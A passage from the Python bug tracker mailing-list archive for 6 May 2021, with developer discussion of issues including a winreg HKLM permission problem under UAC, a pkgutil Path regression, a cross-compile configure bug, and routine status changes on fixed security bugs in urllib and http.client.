doesn't share delete access will fail with a sharing violation. It can be reopened with os.open() with the O_TEMPORARY flag, since this shares delete access. But Python's builtin open() does not share delete access, and neither do most other programs with which one might want to reopen the file. This behavior is limiting to the point of making NamedTemporaryFile() practically useless in Windows with delete=True. There is an ongoing discussion about redesigning NamedTemporaryFile() to never use O_TEMPORARY in Windows. ---------- nosy: +eryksun type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:10:21 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 06 May 2021 17:10:21 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620321021.12.0.937534502486.issue44022@roundup.psfhosted.org> Ned Deily added the comment: New changeset 078b146f062d212919d0ba25e34e658a8234aa63 by Miss Islington (bot) in branch '3.7': bpo-44022: Fix http client infinite line reading (DoS) after a HTTP 100 Continue (GH-25916) (GH-25934) https://github.com/python/cpython/commit/078b146f062d212919d0ba25e34e658a8234aa63 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:10:49 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 06 May 2021 17:10:49 +0000 Subject: [issue44022] urllib http client possible infinite loop on a 100 Continue response In-Reply-To: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> Message-ID: <1620321049.04.0.826378800146.issue44022@roundup.psfhosted.org> Change by Ned Deily : ---------- stage: commit review -> resolved versions: +Python 3.6, Python 3.7 -Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:11:39 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 06 May 2021 17:11:39 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620321099.42.0.52437052248.issue43882@roundup.psfhosted.org> Change by Ned Deily : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:12:43 2021 From: report at bugs.python.org (Douwe Hoekstra) Date: Thu, 06 May 2021 17:12:43 +0000 Subject: [issue43558] The dataclasses documentation should mention how to call super().__init__ In-Reply-To: <1616165238.01.0.0594716110393.issue43558@roundup.psfhosted.org> Message-ID: <1620321163.33.0.494484401582.issue43558@roundup.psfhosted.org> Douwe Hoekstra added the comment: I'd like to fix this. Since this would be my first contribution ever, I will need some time to figure out procedures and style requirements regarding documentation. I estimate this will take me no longer than 3 days. ---------- nosy: +dhoekstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:29:21 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 06 May 2021 17:29:21 +0000 Subject: [issue43558] The dataclasses documentation should mention how to call super().__init__ In-Reply-To: <1616165238.01.0.0594716110393.issue43558@roundup.psfhosted.org> Message-ID: <1620322161.12.0.490041503062.issue43558@roundup.psfhosted.org> Eric V. Smith added the comment: Sure. Take your time! Thank you in advance for your contribution. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:35:36 2021 From: report at bugs.python.org (Paul) Date: Thu, 06 May 2021 17:35:36 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620322536.13.0.322835285506.issue44046@roundup.psfhosted.org> Paul added the comment: Eryk: The whoami process check output shows that my account is in BUILTIN\Administrators, which proves that the account I am logged in as local Administrator permissions. As for the OpenKey method, it fails with [WinError 5] Access denied, exactly the same way my example also failed, and the reason why these consistently fail is because they are pointed to HKLM, essentially replicating the issue that I pointed out. I have also tried different combinations of security flags (winreg.KEY_ALL_ACCESS, winreg.KEY_WOW64_64KEY, etc.), but keep getting the same results. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:43:36 2021 From: report at bugs.python.org (William Pickard) Date: Thu, 06 May 2021 17:43:36 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620323016.9.0.961848886449.issue44046@roundup.psfhosted.org> William Pickard added the comment: Here's something you should know about Windows, even if a local account is in the Administrators group, it still has restrictions on what it can do, it just has the power to elevate itself without requiring login credentials (VIA UAC prompts). This group functions very similar to the sudoers group in Linux. I expect that disabling UAC only causes Windows to automatically approve them on Administrator accounts and deny on non-Administrator accounts for applications that explicitly require the prompt (Run as Administrator special flag). There exists a hidden deactivated account called Administrator in Windows that functions very similar to root in Linux. UAC prompts are to allow an application to run under a temporary Windows Logon session as this hidden account while using your logon session, aka elevation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:51:45 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 06 May 2021 17:51:45 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620323505.08.0.10778531318.issue44046@roundup.psfhosted.org> Shreyan Avigyan added the comment: The most easy way to do is right click on the application you're running the code from, click Run as Administrator and then run the code in that application. You'll not get any WinError. And also being in the Administrators group doesn't mean whatever application you run has the permission. You have the permission to do manually not the application right? I'm saying this because I'm the admin of my computer still Python raises WinError if I run it normally. Being the admin of my computer I still have to run Python in elevated mode. Windows considers Python as a third party app and it'll not give admin access to it so easily. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:52:16 2021 From: report at bugs.python.org (Eryk Sun) Date: Thu, 06 May 2021 17:52:16 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620323536.38.0.624103597156.issue44046@roundup.psfhosted.org> Eryk Sun added the comment: > The whoami process check output shows that my account is in > BUILTIN\Administrators, which proves that the account I am > logged in as local Administrator permissions. Please show the output when whoami.exe is spawned from Python. I never questioned whether your account is in the administrators group. I need to know exactly how the group is flagged and/or enabled in the security context of the Python process. For example, a UAC limited logon will include the group with a flag that enables it only for access-denied entries in an object's discretionary access control list (DACL): Group Name: BUILTIN\Administrators Type: Alias SID: S-1-5-32-544 Attributes: Group used for deny only For the group to apply to access-allowed entries in a DACL, it must be enabled as follows: Group Name: BUILTIN\Administrators Type: Alias SID: S-1-5-32-544 Attributes: Mandatory group, Enabled by default, Enabled group, Group owner ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:54:01 2021 From: report at bugs.python.org (Rikard Nordgren) Date: Thu, 06 May 2021 17:54:01 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 Message-ID: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> New submission from Rikard Nordgren : The pkgutil.iter_modules crash when using Path object in the first argument. The code below works in python 3.8.9 and 3.9.4, but stopped working in python 3.8.10 and 3.9.5. Changing from Path to str works in all versions. import pkgutil from pathlib import Path for _, modname, ispkg in pkgutil.iter_modules([Path("/home")], 'somepackage.somesubpackage'): print(modname, ispkg) Error message from python 3.8.10 (other path was used): Traceback (most recent call last): File "/home/devel/Python-3.8.10/Lib/pkgutil.py", line 415, in get_importer importer = sys.path_importer_cache[path_item] KeyError: PosixPath('/home/devel/pharmpy/src/pharmpy/plugins') During handling of the above exception, another exception occurred: Traceback (most recent call last): File "pyissue.py", line 5, in for _, modname, ispkg in pkgutil.iter_modules([Path("/home/devel/pharmpy/src/pharmpy/plugins")], 'pharmpy.plugins'): File "/home/devel/Python-3.8.10/Lib/pkgutil.py", line 129, in iter_modules for i in importers: File "/home/devel/Python-3.8.10/Lib/pkgutil.py", line 419, in get_importer importer = path_hook(path_item) File "", line 1594, in path_hook_for_FileFinder File "", line 1469, in __init__ File "", line 177, in _path_isabs AttributeError: 'PosixPath' object has no attribute 'startswith' ---------- components: Library (Lib) messages: 393120 nosy: rikard.nordgren priority: normal severity: normal status: open title: Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 type: crash versions: Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 13:59:48 2021 From: report at bugs.python.org (Paul) Date: Thu, 06 May 2021 17:59:48 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620323988.97.0.411040459847.issue44046@roundup.psfhosted.org> Paul added the comment: @Eryk: GROUP INFORMATION ----------------- Group Name: Everyone Type: Well-known group SID: S-1-1-0 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: NT AUTHORITY\Local account and member of Administrators group Type: Well-known group SID: S-1-5-114 Attributes: Group used for deny only Group Name: MACHINE_NAME\docker-users Type: Alias SID: S-1-5-21-3084499296-1678378808-3679662973-1002 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: MACHINE_NAME\ORA_ASMDBA Type: Alias SID: S-1-5-21-3084499296-1678378808-3679662973-1028 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: MACHINE_NAME\ORA_DBA Type: Alias SID: S-1-5-21-3084499296-1678378808-3679662973-1019 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: MACHINE_NAME\ORA_OraDB18Home1_SYSBACKUP Type: Alias SID: S-1-5-21-3084499296-1678378808-3679662973-1025 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: MACHINE_NAME\ORA_OraDB18Home1_SYSDG Type: Alias SID: S-1-5-21-3084499296-1678378808-3679662973-1026 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: MACHINE_NAME\ORA_OraDB18Home1_SYSKM Type: Alias SID: S-1-5-21-3084499296-1678378808-3679662973-1027 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: BUILTIN\Administrators Type: Alias SID: S-1-5-32-544 Attributes: Group used for deny only Group Name: BUILTIN\Users Type: Alias SID: S-1-5-32-545 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: NT AUTHORITY\INTERACTIVE Type: Well-known group SID: S-1-5-4 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: CONSOLE LOGON Type: Well-known group SID: S-1-2-1 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: NT AUTHORITY\Authenticated Users Type: Well-known group SID: S-1-5-11 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: NT AUTHORITY\This Organization Type: Well-known group SID: S-1-5-15 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: NT AUTHORITY\Local account Type: Well-known group SID: S-1-5-113 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: LOCAL Type: Well-known group SID: S-1-2-0 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: NT AUTHORITY\NTLM Authentication Type: Well-known group SID: S-1-5-64-10 Attributes: Mandatory group, Enabled by default, Enabled group Group Name: Mandatory Label\Medium Mandatory Level Type: Label SID: S-1-16-8192 Attributes: ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:03:17 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Thu, 06 May 2021 18:03:17 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1620324197.04.0.0997288896185.issue43972@roundup.psfhosted.org> Senthil Kumaran added the comment: Hi Stephen, Thanks for the response and the details. I was able to verify the bug! I don't know exactly what I was doing previously, but I agree with you that this is a bug and will be fixed with your patch. :) Thanks, Senthil ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:03:25 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Thu, 06 May 2021 18:03:25 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1620324205.68.0.236707230272.issue43972@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- versions: +Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:05:38 2021 From: report at bugs.python.org (Eryk Sun) Date: Thu, 06 May 2021 18:05:38 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620324338.17.0.442395036617.issue44046@roundup.psfhosted.org> Eryk Sun added the comment: Thank you. The output shows that the Python process is using a UAC limited security context, i.e. the administrators group is enabled only for access-denied rules, and the integrity level is medium (not elevated to high or system level). Group Name: BUILTIN\Administrators Type: Alias SID: S-1-5-32-544 Attributes: Group used for deny only Group Name: Mandatory Label\Medium Mandatory Level Type: Label SID: S-1-16-8192 Attributes: ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:16:42 2021 From: report at bugs.python.org (Paul) Date: Thu, 06 May 2021 18:16:42 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620325002.86.0.375754403848.issue44046@roundup.psfhosted.org> Paul added the comment: "The most easy way to do is right click on the application you're running the code from, click Run as Administrator and then run the code in that application. You'll not get any WinError. And also being in the Administrators group doesn't mean whatever application you run has the permission. You have the permission to do manually not the application right? I'm saying this because I'm the admin of my computer still Python raises WinError if I run it normally. Being the admin of my computer I still have to run Python in elevated mode. Windows considers Python as a third party app and it'll not give admin access to it so easily." @Shreyan, Yes, totally understand that. I am also keenly aware of this, because often times for low-level, environment-related solutions in Visual Studio, I have had to set Visual Studio IDE to run as administrator in order for certain operations to function properly. In the case of Python, I am currently using VSCode. When I have set code.exe to run as administrator, and configure python.exe to run as administrator under Compatibility mode, then both VS Code and Python starts acting strange. From the IDE, I can no longer run in debug mode, and any output that is generated is launched in a separate console window, which is viewable only briefly. So... what I also tried was just eliminating VS Code from the equation at the moment. I run a DOS console as Administrator, then just call Python directly along with the .py, and the WinError 5 stops getting thrown. However, the other thing I noticed is that when python.exe is set to run as administrator under Compatibility Mode, and you reopen solution in VS Code, I noticed that the winregistry library stops getting recognized. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:23:43 2021 From: report at bugs.python.org (Vincent Fazio) Date: Thu, 06 May 2021 18:23:43 +0000 Subject: [issue44062] cross: wrong interpreter returned when no python available Message-ID: <1620325423.31.0.521793451842.issue44062@roundup.psfhosted.org> New submission from Vincent Fazio : When trying to cross compile python3.9, `configure` attempts to find a strict python 3.9 version match, however if it fails it still attempts to use `python` in PYTHON_FOR_BUILD instead of failing outright like the code implies it should $/python3/targetbuild# which python3.9 python3 python /usr/bin/python3 $/python3/targetbuild# python3 --version Python 3.7.3 $/python3/targetbuild# PYTHON_FOR_REGEN=/python3/hostbuild/python \ ac_cv_file__dev_ptmx=yes \ ac_cv_file__dev_ptc=no \ ac_cv_buggy_getaddrinfo=no \ ../configure --build=x86-linux-gnu \ --host=aarch64-linux-gnu \ --enable-loadable-sqlite-extensions \ --enable-option-checking=fatal \ --enable-shared \ --with-system-expat \ --with-system-ffi \ --without-ensurepip checking build system type... x86-unknown-linux-gnu checking host system type... aarch64-unknown-linux-gnu checking for python3.9... /python3/hostbuild/python checking for python interpreter for cross build... python ... $/python3/targetbuild# grep PYTHON_FOR_BUILD config.log PYTHON_FOR_BUILD='_PYTHON_PROJECT_BASE=$(abs_builddir) _PYTHON_HOST_PLATFORM=$(_PYTHON_HOST_PLATFORM) PYTHONPATH=$(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)$(srcdir)/Lib _PYTHON_SYSCONFIGDATA_NAME=_sysconfigdata_$(ABIFLAGS)_$(MACHDEP)_$(MULTIARCH) python' in configure if test "$cross_compiling" = yes; then AC_MSG_CHECKING([for python interpreter for cross build]) if test -z "$PYTHON_FOR_BUILD"; then for interp in python$PACKAGE_VERSION python3 python; do which $interp >/dev/null 2>&1 || continue if $interp -c "import sys;sys.exit(not '.'.join(str(n) for n in sys.version_info@<:@:2@:>@) == '$PACKAGE_VERSION')"; then break fi interp= done if test x$interp = x; then AC_MSG_ERROR([python$PACKAGE_VERSION interpreter not found]) fi AC_MSG_RESULT($interp) PYTHON_FOR_BUILD='_PYTHON_PROJECT_BASE=$(abs_builddir) _PYTHON_HOST_PLATFORM=$(_PYTHON_HOST_PLATFORM) PYTHONPATH=$(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)$(srcdir)/Lib _PYTHON_SYSCONFIGDATA_NAME=_sysconfigdata_$(ABIFLAGS)_$(MACHDEP)_$(MULTIARCH) '$interp fi elif test "$cross_compiling" = maybe; then AC_MSG_ERROR([Cross compiling required --host=HOST-TUPLE and --build=ARCH]) else PYTHON_FOR_BUILD='./$(BUILDPYTHON) -E' fi AC_SUBST(PYTHON_FOR_BUILD) The issue is a failing edge case here: for interp in python$PACKAGE_VERSION python3 python; do which $interp >/dev/null 2>&1 || continue where interp keeps it's last value doesn't trigger the empty check here: if test x$interp = x; then AC_MSG_ERROR([python$PACKAGE_VERSION interpreter not found]) fi Note that there's an explicit clearing of interp when the python version isn't a match: if $interp -c "import sys;sys.exit(not '.'.join(str(n) for n in sys.version_info@<:@:2@:>@) == '$PACKAGE_VERSION')"; then break fi interp= The fix should be pretty straightforward: for interp in python$PACKAGE_VERSION python3 python ''; do adding '' as the last possible interpreter means one hasn't been found up to that point and allows configure to properly fail $/python3/targetbuild# PYTHON_FOR_REGEN=/python3/hostbuild/python ac_cv_file__dev_ptmx=yes ac_cv_file__dev_ptc=no ac_cv_buggy_getaddrinfo=no ../configure --build=x86-linux-gnu --host=aarch64-linux-gnu --enable-loadable-sqlite-extensions --enable-option-checking=fatal --enable-shared --with-system-expat --with-system-ffi --without-ensurepip checking build system type... x86-unknown-linux-gnu checking host system type... aarch64-unknown-linux-gnu checking for python3.9... /python3/hostbuild/python checking for python interpreter for cross build... configure: error: python3.9 interpreter not found It will continue to work when a proper interpreter is found $/python3/targetbuild# PATH=/python3/hostbuild:$PATH PYTHON_FOR_REGEN=/python3/hostbuild/python ac_cv_file__dev_ptmx=yes ac_cv_file__dev_ptc=no ac_cv_buggy_getaddrinfo=no ../configure --build=x86-linux-gnu --host=aarch64-linux-gnu --enable-loadable-sqlite-extensions --enable-option-checking=fatal --enable-shared --with-system-expat --with-system-ffi --without-ensurepip checking build system type... x86-unknown-linux-gnu checking host system type... aarch64-unknown-linux-gnu checking for python3.9... /python3/hostbuild/python checking for python interpreter for cross build... Could not find platform dependent libraries Consider setting $PYTHONHOME to [:] python This should help highlight any inconsistent environment between configuring and building. ---------- components: Cross-Build messages: 393125 nosy: Alex.Willmer, vfazio priority: normal severity: normal status: open title: cross: wrong interpreter returned when no python available type: compile error versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:23:51 2021 From: report at bugs.python.org (Paul) Date: Thu, 06 May 2021 18:23:51 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620325431.86.0.650186271073.issue44046@roundup.psfhosted.org> Paul added the comment: "Here's something you should know about Windows, even if a local account is in the Administrators group, it still has restrictions on what it can do, it just has the power to elevate itself without requiring login credentials (VIA UAC prompts)." @William: Sure, I understand that, which is also why I have UAC prompts disabled. Also, there are additional security settings that most people do not know about Administrator accounts: There are permission settings that go much further than Administrator and disabling of UAC, which is also providing your user account "system" level permissions, and "Act as part of the operating system". This pretty much puts your account in "god mode" where you can do all kinds of things that most of us probably shouldn't need to do for most situations, but it is there when needed. In any case, it should not be necessary to get Python permissions to execute write / update methods in Python against HKLM hive. I definitely don't need to do much to get it to work in C# or C++ just fine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:25:50 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 06 May 2021 18:25:50 +0000 Subject: [issue44046] When writing to the Registry using winreg, it currently allows you to write ONLY to HKEY_CURRENT_USERS. In-Reply-To: <1620199728.07.0.7391681228.issue44046@roundup.psfhosted.org> Message-ID: <1620325550.27.0.250046689796.issue44046@roundup.psfhosted.org> Shreyan Avigyan added the comment: Don't run VSCode in admin mode. Just set python to admin mode. See if it works then. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:38:19 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 18:38:19 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620326299.83.0.1980317093.issue44061@roundup.psfhosted.org> Gregory P. Smith added the comment: https://bugs.python.org/issue43105 and https://github.com/python/cpython/pull/25121 caused this regression. ---------- assignee: -> steve.dower keywords: +3.8regression, 3.9regression nosy: +gregory.p.smith, lukasz.langa, steve.dower priority: normal -> release blocker versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:39:26 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 18:39:26 +0000 Subject: [issue43105] [Windows] Can't import extension modules resolved via relative paths in sys.path In-Reply-To: <1612285380.24.0.495785451269.issue43105@roundup.psfhosted.org> Message-ID: <1620326366.53.0.183970826171.issue43105@roundup.psfhosted.org> Gregory P. Smith added the comment: This caused a regression described in https://bugs.python.org/issue44061 ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:40:29 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 18:40:29 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620326429.25.0.765289991241.issue44061@roundup.psfhosted.org> Gregory P. Smith added the comment: (obviously we're missing any tests for use of Path objects in this situation) ---------- stage: -> needs patch type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:44:27 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 18:44:27 +0000 Subject: [issue44059] Support SerenityOS Browser in webbrowser module In-Reply-To: <1620312295.06.0.319620249186.issue44059@roundup.psfhosted.org> Message-ID: <1620326667.5.0.325535737241.issue44059@roundup.psfhosted.org> Gregory P. Smith added the comment: Quite a humorous long list of historical browsers still in the webbrowser module. This can join the list. The PR should automerge after the CI runs complete. ---------- assignee: -> gregory.p.smith nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 14:59:14 2021 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 May 2021 18:59:14 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620327554.83.0.745556950959.issue44061@roundup.psfhosted.org> Steve Dower added the comment: Looks like it was always getting lucky in the past, as sys.path requires strings, and the "path" argument here is an alternative to it. The cache was definitely not working as intended. So while it's not clearly documented anywhere (other than the related pkgutil.extend_path() method saying it'll ignore non-str paths), we do need to only be passing str into _importlib_bootstrap. I can't do the pkgutil updates right now, but I think it's just get_importer than needs an os.fsdecode() call around its argument. Maybe some others in the same module. And add tests :) ---------- keywords: +easy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:00:09 2021 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 May 2021 19:00:09 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620327609.64.0.833504236073.issue44061@roundup.psfhosted.org> Steve Dower added the comment: To be clear, I'll get to this when I can, but if someone else wants to write the fix I'm happy to review and merge. Don't wait for me to do this one just because I'm assigned. ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:01:28 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 06 May 2021 19:01:28 +0000 Subject: [issue44059] Support SerenityOS Browser in webbrowser module In-Reply-To: <1620312295.06.0.319620249186.issue44059@roundup.psfhosted.org> Message-ID: <1620327688.04.0.0636014561949.issue44059@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24613 pull_request: https://github.com/python/cpython/pull/25950 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:04:38 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 19:04:38 +0000 Subject: [issue43743] BlockingIOError: [Errno 11] Resource temporarily unavailable: on GPFS. In-Reply-To: <1617697291.82.0.0904085621091.issue43743@roundup.psfhosted.org> Message-ID: <1620327878.67.0.891362598996.issue43743@roundup.psfhosted.org> Gregory P. Smith added the comment: I don't believe CPython should be working around a bug in specific Linux kernel versions in the standard library unless they are extremely pernicious and not considered to be a bug and thus ever be fixed in the OS kernel. As the sendfile system call appears to infinitely return one of EAGAIN, EALREADY, EWOULDBLOCK, or EINPROGRESS in this case, there isn't anything CPython could do. A retry/backoff loop won't help. This should be worked around at the application level by whatever means are appropriate. ---------- nosy: +gregory.p.smith resolution: -> not a bug stage: -> resolved status: open -> closed type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:04:57 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 06 May 2021 19:04:57 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620327897.24.0.269454030922.issue44061@roundup.psfhosted.org> Shreyan Avigyan added the comment: It's mentioned that Python 3.9.5 has this regression but the code works fine on my windows machine. Is this only reproducible on POSIX? ---------- nosy: +shreyanavigyan versions: -Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:06:38 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 06 May 2021 19:06:38 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620327998.54.0.147253696276.issue44061@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:06:58 2021 From: report at bugs.python.org (Vincent Fazio) Date: Thu, 06 May 2021 19:06:58 +0000 Subject: [issue44062] cross: wrong interpreter returned when no python available In-Reply-To: <1620325423.31.0.521793451842.issue44062@roundup.psfhosted.org> Message-ID: <1620328018.7.0.17318238547.issue44062@roundup.psfhosted.org> Change by Vincent Fazio : ---------- keywords: +patch pull_requests: +24614 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25951 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:14:58 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 06 May 2021 19:14:58 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620328498.5.0.46852240326.issue43882@roundup.psfhosted.org> Gregory P. Smith added the comment: For completeness reference, the 'main' branch after the master->main rename also got fixed to check it early the same was as the release branches via: https://github.com/python/cpython/commit/985ac016373403e8ad41f8d563c4355ffa8d49ff our robot updating bug comments presumably didn't know about the master -> main rename yet so didn't leave a comment here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:26:16 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 06 May 2021 19:26:16 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1620329176.22.0.327695484362.issue43972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24616 pull_request: https://github.com/python/cpython/pull/25953 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:26:28 2021 From: report at bugs.python.org (Sergey Polischouck) Date: Thu, 06 May 2021 19:26:28 +0000 Subject: [issue15907] move doctest test-data files into a subdirectory of Lib/test In-Reply-To: <1347296459.35.0.660655246065.issue15907@psf.upfronthosting.co.za> Message-ID: <1620329188.54.0.533642908394.issue15907@roundup.psfhosted.org> Change by Sergey Polischouck : ---------- nosy: +polischouckserg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 6 15:26:11 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 06 May 2021 19:26:11 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s 